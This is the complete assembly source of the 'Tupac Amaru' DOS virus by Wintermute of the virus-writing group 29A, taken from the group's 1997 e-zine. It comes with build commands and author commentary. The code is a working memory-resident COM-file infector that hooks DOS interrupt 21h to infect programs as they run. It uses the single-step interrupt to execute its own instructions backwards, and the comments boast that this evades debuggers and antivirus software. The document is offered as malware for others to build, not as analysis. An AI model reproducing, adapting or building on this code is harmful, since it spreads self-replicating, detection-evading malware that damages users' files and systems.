Copy Link
Add to Bookmark
Report
29A Issue 02 05 02
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²²± .:. .: .:..: :. : .. ::.. ²²±
;²± Virus: Tupac Amaru . ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.. Author: Wintermute ²±
;²± Size: 1308 ::.ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ:.: Group: 29A ²±
;²± Date: August, 1997 .: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:. Origin: Espa¤a ²±
;²± >===ÛÛÛÜÜÜÜ=ÜÜÜÜÛÛÛ=ÛÛÛ=ÛÛÛ===->> ²±
;²± .: .:.ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ: .:.:.. ²±
;²²± ..: ::. . .:.. .: ..:.::.. .:.. :.. :.:.. ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;
; This virus itself is just a COM TSR virus... but... the innovation it has
; justifies the whole virus as something really cool and new... it's the
; first virus ever in the world that executes its code **BACKWARDS**.
;
; By means of int 1h, it executes one instruction, reverses the opcodes of
; the next one ( which is actually the one before :) ) and sets IP to that
; position, reversing again the instruction that has been just executed.
;
; Let's imagine Tupac at this position:
;
; db 0c7h, 08eh
; ÄÄÄ mov ax,2521h
; [...]
;
; Just after the "mov ax,2521h" is executed, the compiler will set CS:IP
; for the next instruction and then call int 1h. Then, we'll move that value
; into DS:SI, substracting to SI the size of "mov ax,2521h" (three bytes in
; this example; this size is known because the instruction length is checked
; during the last call before this one).
;
; We decrement SI by one, so we point to "08eh". The engine will then load
; this opcode and find the corresponding instruction length, getting 2 as
; result, and thus picking two bytes ( 08eh and the previous one, 0c7h ). So
; that, it will substract 2 to SI, push the instruction opcodes, and pop'em
; backwards, changing the CS:IP stored in the stack in order to point to
; this instruction. Also, it will reverse the instruction which has just
; been executed ( mov ax,2521h ).
;
; For every int 21h call, Tupac uses the "nop" instruction, 090h. It saves
; bytes, and also a good amount of time when trying to solve many problems.
;
; Conditional jumps are checked before they're executed: if the reversing
; engine has just decrypted the instruction before it, the updated CS:IP and
; encrypted the next, it's obvious that the virus will hang. So, the engine
; checks the flags... jump is made three bytes after the instruction it
; should jump to ( cause 2+1 will be substracted in order to get to the last
; opcode of the instruction we want to execute ).
;
; This is because Tupac executes backwards, making impossible for any
; debugger to trace it; MS-DOS debug, GameTools, Soft-ICE and TurboDebugger
; just get lost... the only way I found to check how the virus worked was by
; guessing with some tricks and using AVPUtil ( fucking good program,
; Kasp! ). All the debugging programs I know ( including AVPUtil if you
; are not modifying all the time CS:IP in order to execute the correct
; instructions ) will continue executing the whole code forwards without
; realising about wtf's really happening there ( and this obviously happens
; with AV software as well ).
;
; The virus is dedicated to the revolutionary group Tupac Amaru members
; who were killed after surrendering by the Peruvian army forces in the
; attack to the japanese embassy in Per£, Lima. The rebels surrendered,
; and Fujimori's men killed them one by one; the embassy was burning with
; the rebels inside it - among them a 16 year old girl - while Fujimori
; was congratulating his troops and singing the peruvian national hymn,
; talking with journalists to raise more popular and win the next elections.
;
; Also dedicated ( as so dedicated as it is to Tupac Amaru killed members )
; to the miners that excavated the tunnel to the embassy for the gov and
; later "dissapeared", and to all of Fujimori's victims: dissapeared
; students, tortured "enemies", and people who fight for democracy there...
;
; Well, also to all the people in the world that are punished because of
; talking about democracy and human rights :)
;
; Also some greetings to AVV, who told me about an idea about executing
; a decrypting routine backwards... idea I took, gave form, extended to a
; complete virus,... and finally brought ya ;)
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Habr un d¡a en que todos, al levantar la vista,
; veremos una tierra, que ponga libertad.
; Sonar n las campanas desde los campanarios,
; y los campos desiertos, volveran a granar,
; unas espigas altas, dispuestas para el pan.
; Para un pan que en los siglos, nunca fue repartido,
; entre todos aquellos, que hicieron lo posible,
; por empujar la historia, hacia la libertad.
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( from a revolution song )
;
;
; tasm tupac.asm /m2
; tlink tupac.obj
; x2b tupac.exe tupac.com ; An utility near Exe2bin
; del tupac.exe
.286
kodigo segment 'code'
assume cs:kodigo,ds:kodigo,es:kodigo
org 00h
tupac_start label byte
Tupac_amaru:
call delta
delta: mov si,sp ; We take the delta-offset
mov bp,word ptr [si]
sub bp,3
backtrace:
mov byte ptr cs:[installing_on+bp],0
mov ax,3521h
int 21h
mov word ptr [int21h+bp],bx
mov word ptr [int21h+2+bp],es
mov dx,bx
push es
pop ds
mov ax,25a9h
int 21h
push cs
pop ds
mov ax,3501h ; Get 1h
int 21h
mov word ptr [int1h+2+bp],es
mov word ptr [int1h+bp],bx
lea dx,back_zone+bp ; Set it to the zone that's going
mov ah,25h ;to control the backwards execution
int 21h
cli
pushf ; Now we set trap flag to 1
pop ax
or ah,1h
push ax
popf
jmp end_or_init ; To the beginning ( or end ? ;D )
;of the code
return: dw 0 ; For the push/pop of all regs
instanterior: db 1 ; Just executed instruction bytes
installing_on: db 0 ; Backtrace working ?
offset_jmp: dw 0
hay_salto: db 0 ; 1.- Interrupt 21h
; 2,3.- Jump
salto: db 090h,0e9h
lugarsalto: db 00h,00h ; Jump to virus code
buffer: db 53h,53h,0cdh,20h ; Buffer with host bytes
virus_name: db ' The Tupac Amaru virus, dedicated to all the people of '
db 'the MRTA who were killed by Fujimori''s troops after '
db 'surrendering at the japanese embassy on Lima, to all '
db 'the people killed and tortured in his government, and '
db 'finally to all those who work for democracy and for a '
db 'better world.',0
_Winter_: db 'Wintermute/29A',0
; ***************************************************************************
; RESIDENCE ROUTINE ZONE
; ***************************************************************************
;
; You should read this next backwards ;)
db 0c3h
db 0a5h
db 0a5h
db 057h
db 01h,00h,0bfh
db 01h,00h,offset buffer+1,0aeh,080h
db offset buffer
db 076h,08dh
db 01fh
db 07h
db 0eh,0eh
jmp1: ; Restore first four bytes
db 090h
db 01fh,06h
db 025h,021h,0b8h
db place_ff
db place_21-(place_ff*100h)
db 0bah
; Int 21h setting
jjmp7: db ((offset jmp7)-(offset jjmp7)),075h
db 49h
db 0a4h
jmp7:
db tupac_ff
db tupac_size-(tupac_ff*100h)
db 0b9h
db 0eeh,089h
db 0ffh,031h
db 0c7h,08eh
db 047h
db 00h,03h,03eh,03h,026h
; Copy virus to memory
db tupac_parag
db 00h,03h,02eh,083h,026h
jjmp6: db 0-((offset jjmp6)-(offset jmp1)),072h
db tupac_parag
db 00h,03h,03eh,080h,026h
; Some checks
jmp4:
jjmp5: db 0-((offset jjmp5)-(offset jmp1)),075h
db 00h,01h,016h,039h,026h
jjmp4: db 0ffh-((offset jjmp4)-(offset jmp4))+1,074h
db 00h,00h,01h,03eh,083h,026h
db 0dah,08ch
; We check if we fit in memory: if last Mcb is
;empty or it's program Psp
jmp2:
db ((offset jmp3)-(offset jmp2)),0ebh
db 0c7h,08eh
db 047h
db 00h,03h,03eh,03h,026h
jjmp2: db 0h-((offset jjmp2)-(offset jmp2)),074h
db 05ah,00h,00h,03eh,080h,026h
jmp3:
; Mcb Loop: Search for Mcb Z
db 0c7h,08eh
db 0eh,07fh,08bh,026h
db 0c0h,08eh
db 048h
db 0c0h,08ch
db 090h
db 052h,0b4h
; Search for the list of lists
jjmp1: db 0-((offset jjmp1)-(offset jmp1))
db 074h
db 0c0h,0c0h,03dh
db 090h
db 0c0h,0c0h,0b8h
; Installation check
end_or_init:
nop ; The 'nop' is the signal for the
;virus to start executing backwards
cli ; We don't want TbClean here, do we ?
neg sp
neg sp
sti
mov di,100h ; Restore bytes and return to host:
mov ax,word ptr [buffer+bp] ; there's a debugger out
mov word ptr cs:[100h],ax ; there... whoooo, I'm
mov ax,word ptr [buffer+bp+2]; afraid ! :)
mov word ptr cs:[102h],ax
jmp di
push_em_all: cli ; We save registers
pop cs:word ptr [return+bp]
pushf
push ax bx cx dx di si ds bp es
push cs:word ptr [return+bp]
sti
ret
pop_em_all: cli ; We recover registers
pop cs:word ptr [return+bp]
pop es bp ds si di dx cx bx ax
popf
push cs:word ptr [return+bp]
sti
ret
back_zone: ; Backwards executor zone ( where int 1h is attached )
call push_em_all
mov di,sp ; We got on DS:DI now the
mov si, word ptr ss:[di+20d] ;CS:IP has sent to the stack
mov ds, word ptr ss:[di+22d] ;
mov bx,word ptr ss:[di+24d] ; Pushed flags register
dec si
lodsb
cmp al,90h ; Nop will tell us when does the
jnz continua ;executing start; installing_on is
mov byte ptr cs:[installing_on+bp],1 ;a flag that tells
;we have to backtrace
continua:
cmp byte ptr cs:[installing_on+bp],0
jnz @adelante
jmp vamonos
@adelante:
; In AL we've got the first byte of the instruction we've
;just executed, but we cannot do nothin with this. First,
;we'll decrement ds:si, and sub si the last instruction
;size and which at the start lasts one byte ( the nop ),
;so we'll be at the first opcode of the backwards stored
;instructions we're going to execute.
xor dx,dx
mov dl,byte ptr cs:[instanterior+bp]
inc dl
sub si,dx ; So, DS:SI now points to the opcode
;that will be the start of the next
;backwards instruction
xor cx,cx
lodsb ; We load that opcode in Al, and
;check it with the table to verify
;it's lenght: only the opcodes used
;by the virus are checked.
@dsescsss:
mov ah,al
push si cx ds cs ; Table
pop ds
lea si,inittable1+bp
mov cx,57d
@buscaopcode:
lodsb ; Searches opcode in table
cmp ah,al
jz @encontrado
loop @buscaopcode
@encontrado:
push cx ; Searches where to jump
lea si,inittable2+bp
mov cx,114d
pop dx
sub cx,dx
sub cx,dx
add si,cx
lodsw
add ax,bp
pop ds cx si
jmp ax
inittable1:
db 03h,07h,0eh,01fh,026h,03dh,047h,048h,057h,074h,080h
db 08bh,08ch,08dh,08eh,0c3h,0cdh,0a5h,0b4h,0b8h,0bfh
db 0ebh,090h,083h,039h,075h,072h,031h,089h,0b9h,049h
db 06h,0bah,0a4h,0f8h,087h,06h,053h,0b4h,050h,058h
db 05ah,08eh,03ch,0ach,046h,051h,052h,059h,0a0h,02h
db 099h,02dh,0a3h,040h,0feh,073h
;;;;;;;;;;;;;;;;;
inittable2:
dw offset @bytes4, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @prefijo, offset @bytes3
dw offset @bytes1, offset @bytes1, offset @bytes1
dw offset @jjz, offset @bytes5, offset @bytes3
dw offset @bytes2, offset @bytes3, offset @bytes2
dw offset @finished_go, offset @bytes2, offset @bytes1
dw offset @bytes2, offset @bytes3, offset @bytes3
dw offset @jmp2aplace, offset @makeint, offset @bytes5
dw offset @bytes4, offset @jjnz, offset @jjb
dw offset @bytes2, offset @bytes2
dw offset @bytes3, offset @bytes1, offset @bytes1
dw offset @bytes3, offset @bytes1, offset @end_infect
dw offset @bytes2, offset @bytes1, offset @bytes1
dw offset @bytes2, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @bytes2, offset @bytes2
dw offset @bytes1, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @bytes1, offset @bytes3
dw offset @bytes4, offset @bytes1, offset @bytes3
dw offset @bytes3, offset @bytes1, offset @bytes4
dw offset @jjnb
@prefijo:
inc cx
dec si
dec si
lodsb
inc si
jmp @dsescsss
@makeint:
mov byte ptr cs:[hay_salto+bp],1
jmp @bytes1
@finished_go:
mov ds,word ptr [int1h+2+bp]
mov dx,word ptr cs:[int1h+bp]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],0100h
call pop_em_all
iret
@end_infect:
mov ds,word ptr cs:[int1h+2]
mov dx,word ptr cs:[int1h]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],offset @@realend
call pop_em_all
iret
@@realend:
call pop_em_all
mov bp,word ptr cs:[bp_site]
jmp int21jump
@jjnb:
and bl,00000001b ; Conditional jnb jump check
jnz @bytes2
jmp @jmp2aplace
@jjb:
and bl,00000001b ; Conditional jb jump check
jz @bytes2
jmp @jmp2aplace
@jjnz:
and bl,01000000b ; Conditional jnz jump check
jnz @bytes2
jmp @jmp2aplace
@jjz:
and bl,01000000b ; Are we going to make the jump jz ?
jz @bytes2 ; If zero flag isn't on, we take it
;as a normal 2 bytes instruction
@jmp2aplace:
mov byte ptr cs:[hay_salto+bp],3
; To interpret well next instruction
mov bx,si ; And we put the instruction offset
;at [offsetjmp] to recode it on the
;next pass
dec bx
dec bx
mov word ptr cs:[offset_jmp+bp],bx
jmp @bytes2 ; Nothing to do now... let's leave
;the jump execute and then we'll
;do things ;)
@bytes5: inc cx
@bytes4: inc cx
@bytes3: inc cx
@bytes2: inc cx ; Cx has instruction lenght
@bytes1: inc cx
mov dh, byte ptr cs:[instanterior+bp]
mov byte ptr cs:[instanterior+bp],cl
mov dl,cl
sub si,cx ; We place SI at the end of the
mov di,cx ;backwards instruction ( ok, at the
;begin ;) )
@loop_guardar: lodsb ; We store each opcode in Al, on the
push ax ;stack
loop @loop_guardar
mov cx,di
sub si,cx
mov di,si
push ds
pop es
xor bx,bx
mov bl,cl
@loop_reponer: pop ax ; We take from the stack all opcodes
stosb ;and place them in a correct form
loop @loop_reponer
mov di,sp
mov word ptr ss:[di+20d],si ; And now we place Si, the
;instruction we're executing next
add si,bx
mov cl,dh
cmp byte ptr cs:[hay_salto+bp],2
jnz @sec_loop
mov si,word ptr cs:[offset_jmp+bp]
mov byte ptr cs:[hay_salto+bp],0
@sec_loop: lodsb ; Now we're codyfing the just
push ax ;executed instruction, "backwarding"
loop @sec_loop ;it; it will be exactly as it was.
mov cl,dh
sub si,cx
mov di,si
@sec_store: pop ax ; So we store backwards
stosb
loop @sec_store
vamonos:
cmp byte ptr cs:[hay_salto+bp],3 ; Ok, this was the inst
jnz vamos_ya ;just before the jump,
dec byte ptr cs:[hay_salto+bp] ;so it will be the next
;executing
vamos_ya:
call pop_em_all
pushf
cmp byte ptr cs:[hay_salto+bp],1
jnz @return
mov byte ptr cs:[hay_salto+bp],0
sti
int 0a9h ; Int 21h
cli
@return:
popf
; Pop registers and go
iret
;***************************************************************************
; FILE INFECTION
;***************************************************************************
db 0f8h ; "End of infection" mark
db 090h
db 01fh,05ah,058h
; Restore int24h
@jmp3:
db 90h
db 03eh,0b4h
db 90h
db 40h
db 058h
db 05ah
db 059h
@close:
db 90h
db 00,offset salto,0bah
db 00h,04h,0b9h
db 040h,0b4h
db 090h
db 099h
db 0c9h,031h
db 042h,00h,0b8h
; Now to the init
db 90h
db tupac_ff
db tupac_size-(tupac_ff*100h)
db 0b9h
db 0d2h,031h
db 040h,0b4h
; Attach to the end
db 00h,offset lugarsalto,0a3h
db 00h,04h,02dh
@len: db 0-((offset @len)-(offset @close)),073h
db 0c3h,050h,03dh
db 90h
db 099h
db 0c9h,031h
db 042h,02h,0b8h
db 00h,offset buffer+1,06h,0feh
@jjmp4: db 0-((offset @jjmp4)-(offset @close))
db 074h
db 0a7h,3ch
db 00h,offset buffer+1,06h,02h
@jjmp5: db 0-((offset @jjmp5)-(offset @close))
db 074h
db 090h,03ch
db 00h,offset buffer,0a0h
db 90h
db 00,offset buffer,0bah
db 00h,04h,0b9h
db 03fh,0b4h
db 01fh
db 0eh
; Read first four bytes
db 051h
db 052h
db 090h
db 050h
db 057h,00h,0b8h
; Save the date
db 0c3h,087h
db 090h
db 03dh,02h,0b8h
@jmp1: ; Open file
db 0f2h,089h
db 0d9h,08eh
db 090h
db place_ff24
db place_21-(place_ff24*100h)
db 0bah
db 01fh
db 0eh
db 050h
db 025h,0b4h
db 06h
db 053h
db 090h
db 035h,024h,0b8h
db 0d9h,08ch
db 0f2h,087h
; Save the int 24h
start_infecting: nop ; Infection start
;**********************************
; INT 21H HANDLER
;**********************************
in21 label byte
INT21HANDLER:
cmp ax,0c0c0h
jz i_check
cmp ax,4b00h
jz infect
jmp int21jump
i_check:
iret
infect:
mov word ptr cs:[bp_site],bp
xor bp,bp
call push_em_all
mov byte ptr cs:[installing_on],0
init_1:
push ds dx
push cs
pop ds
mov ax,3501h ; Get int1h
int 21h
mov word ptr [int1h+2],es
mov word ptr [int1h],bx
push cs
pop es
lea dx,back_zone ; Redirect it to the zone that's
mov ax,2501h ;going to control backwards execution
int 21h
cli
pushf ; Trap flag = 1
pop ax
or ah,1h
push ax
popf
pop dx ds
@continue:
jmp start_infecting
int1h: dw 0,0
bp_site: dw 0
int21jump: db 0eah
int21h: dw 0,0
in24 label byte
the24: mov al,3
iret
nop
place_21 equ in21-tupac_start
place_ff equ (place_21/0100h)
place_24 equ in24-tupac_start
place_ff24 equ (place_24/0100h)
tupac_end label byte
tupac_size equ tupac_end-tupac_start
tupac_parag equ ((tupac_size+15)/16)+2
tupac_ff equ (tupac_size/0100h)
kodigo ends
end tupac_amaru